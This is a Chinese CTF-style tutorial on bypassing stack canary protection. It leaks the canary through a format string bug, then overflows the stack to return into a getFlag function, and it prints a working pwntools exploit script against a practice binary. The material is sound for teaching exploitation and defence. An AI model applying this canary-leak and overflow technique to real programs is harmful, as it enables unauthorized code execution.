前言:
金丝雀:
canary就像哨兵一样,值由程序运行时随机产生。在函数返回之前,程序检测这个值以确认栈未被破坏,达到避免攻击的目的。程序会使用fs:x来进行保护,这个地址指向了一个我们无法看到的随机值,并且fs是一个由内核维护的结构。
如果金丝雀(canary)的值被修改了,栈溢出发生了,保存的指令指针可能也被修改了,因此不能安全返回,函数会调用__stack_chk_fail函数。这个函数会做些处理,然后丢出一个错误退出进程。
基本绕过方式:由于Canary保护仅仅是检查canary是否被改写,而不会检查其他栈内容,因此如果攻击者能够泄露出canary的值(一般都是利用格式化字符串漏洞),便可以在构造攻击负载时填充正确的canary,从而绕过canary检查,达到实施攻击的目的。
注意:一个程序中的所有函数应该都有栈保护。下述例子中每个函数的canary对比的地址都是fs:14,推断所有函数返回前对比的随机值都是一个!!!
例题:
查看程序详细信息:
程序有着栈保护及NX保护,将文件拖入IDA中分析:
上图中存在格式化字符串漏洞,可以直接利用其leak金丝雀的值。
fun函数中存在栈溢出的情况,查看程序其他函数发现 getFlag函数,那么PWN此程序的思路就是使用格式化字符串漏洞leak金丝雀的值,然后添加canary再溢出即可。调试程序并leak金丝雀过程如下:
本文给fun函数下断点方便分析:
运行程序:
输入aaaa,继续调试,:
发现canary的位置为ebp - 0xc ,找到canary的位置,计算格式化字符串偏移量为7:
进入fun函数继续分析:
canary的位置在ebp + var_C,溢出点在ebp - 70h查看fun函数栈:
溢出点到fun函数内的canary距离为 0x70 - 0x0c = 100,那么payload如下:
from pwn import *
p = process('./bin')
payload = '%7$x'
p.sendline(payload)
canary = int(p.recv(),16)
catFlag_addr = 0x0804863B
payload = 'A' * 100 + p32(canary) + 'A' * 12 + p32(catFlag_addr)
p.sendline(payload)
p.interactive()
运行结果如下:
可以看到 system ('cat flag')执行。
结语:
第一次绕过canary,写的有点啰嗦,这种PWN的方法只是绕canary众多方法中的一种,后续继续更新。